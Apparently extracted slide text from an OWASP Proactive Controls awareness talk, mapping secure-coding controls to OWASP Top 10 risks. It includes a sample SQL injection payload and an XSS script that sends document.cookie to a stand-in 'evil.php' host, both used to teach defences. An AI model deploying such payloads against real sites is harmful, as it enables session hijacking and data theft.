Warning

This is an awareness document - that will give you some anchors - that you can start using on a regular basis - and start building on.

You cannot base a web application on Top 10 only!

C1. Parameterize queries

Query parameterization prevents untrusted input from being interpreted as part of a SQL command:

$sql = Update users set email=‘$email’ where id=1;

C1: Example of SQL injection

$email=‘;- - @owasp.org;

$sql = UPDATE user set email=‘$email’ WHERE id=‘1’;

C1: Example of SQL injection

UPDATE user SET email=‘’; -- @owasp.org' WHERE id=‘1’

C1 Control: Data Access Layer

PHP: Example of Query Parametrisation

$email = $_REQUEST[‘email’];$id = $_REQUEST[‘id’];

$stmt = $dbh->prepare(”Update users set email=:new_email where id=:user_id”);

$stmt->bindParam(':new_email', $email);$stmt->bindParam(':user_id', $id);

Proactive Control Risk(s) prevented

C1: Parameterize Queries

Leverage to Data Access Layer how parameters are interpreted before executing SQL.

A1 Injection

Injection flaws, such as SQL injection occur when untrusted data is sent to an interpreter as part of a command or query.

C2. Encode data before using a parser

C2: Example of XSS

<script type=“text/javascript”> var adr = ‘http://myaddress.com/evil.php? stolencookies=‘ + escape(document.cookie);

var img = new Image();

img.src = adr;</script>

Proactive Control Risk(s) prevented

C2: Encode Data

Encode data before use in a parser ( JS, CSS , XML )

A1 Injection

Injection flaws, such as SQL injection occur when untrusted data is sent to an interpreter as part of a command or query.

A3 XSSXSS allows attackers to execute scripts in the victim’s browser which can hijack user sessions, deface web sites, or redirect the user to malicious sites.

C3. Validate all input

C3: Example of Validations

• GET / POST data• File upload validate ( file extension, mime type,

size)• HTTP Headers, cookies

Proactive Control Risk(s) prevented

C3: Validate all inputs

For web applications this includes:• GET and POST parameters:• File uploads• any or all of this data could be manipulated

by an attacker.

• A1 Injection • A3 XSS• A10 Unvalidated redirects and

forwards

C4. Implement appropriate Access Control

C4: Access Control good practices

• Deny by default

• Force all requests to go through access control checks

• Check on the server when each function is accessed

Proactive Control Risk(s) prevented

C4: Implement Appropriate Access Controls

• Deny by default• Force all requests to go through access

control checks• Check on the server when each function is

accessed

A4-Insecure Direct Object ReferencesA direct object reference occurs when a developer exposes a reference to an internal implementation object, such as a file, directory, or database key. Without an access control check, attackers can manipulate these references to access unauthorised data.

A7-Missing Function Level Access ControlAttackers will be able to forge requests in order to access functionality without proper authorization.

C5. Establish Authentication and Identity Controls

1). Protection: Password storage

1) Use cryptographically strong credential-specific salt

• protect( [salt] + [password] );• Use a 32char or 64char salt;• Do not depend on hiding, splitting, or otherwise

obscuring the salt.

1). Protection: Password storage

2) Impose difficult verification on the attacker and defender •PBKDF2([salt] + [password], c=100,000);

•Cryptgraphic recommendations:• PBKDF2 (Password-Based Key Derivation 2) • bcrypt• scrypt

1). Protection: Password storage Resources:

https://www.owasp.org/index.php/Password_Storage_Cheat_Sheet

2). Protection: multi-factor authentication

Multi-factor authentication - a combination of:•Something you know – password or PIN•Something you own – token, smart card or phone

•Something you are – biometrics ( fingerprint )

3). Protection: Forgot Password

Forgot password design:

1). Ask one or more security questions

2) Send the user a randomly generated token via:

app, SMS

3). Verify code in same web session.

4). Change password.

More details on: https://www.owasp.org/index.php/Forgot_Password_

Cheat_Sheet

Proactive Control Risk(s) prevented

C5: Establish Identity and Authentication Controls

• Design ( password storage) • Multi-factor authentication • Design ( forgot password )

A2-Broken Authentication and Session Management

Application functions related to authentication and session management are often not implemented correctly, allowing attackers to compromise passwords, keys, or session tokens, or to exploit other implementation flaws to assume other users’ identities.

C6. Data Protection and Privacy

C6 Controls: Data in transitData in transit: HTTPS

• Confidentiality: Spy cannot view your data• Integrity: Spy cannot change your data• Authenticity: Server you are visiting is the right one

HTTPS configuration best practices• https://www.owasp.org/index.php/Transport_Layer

_Protection_Cheat_Sheet Data at rest

C6 Controls: Data at rest 1. Algorithm

• AES (Advanced Encryption Standard )2. Secure key management3. Adequate access controls and auditing

Resources:• https://www.owasp.org/index.php/Cryptographic_Stor

age_Cheat_Sheet

• https://www.ssllabs.com/ssltest/index.html

Proactive Control Risk(s) prevented

C6: Data Protection and privacy

• Data encryption at rest• Data encryption in transit

A6: Sensitive Data Exposure

Sensitive data needs extra protection such as encryption at rest or in transit, as well as special precautions when exchanged with the browser.

C10. Security Architecture and Design

C10: Security Architecture and Design Principles

Secure design principles: • Least Privilege = minimum access level for minimum amount of time• Separation of duties• Defence of depth. E.q.:

• input validation + parameterize queries • input validation + output encoding

• Fail secure. E.q.:• user access denied after maximum number of failed logins reached• errors and exception handling; store error details in database, give user only

the reference ID• Complete mediation. E.q.:

• centralise access control checks • centralise input validation

Proactive Control Risk(s) prevented
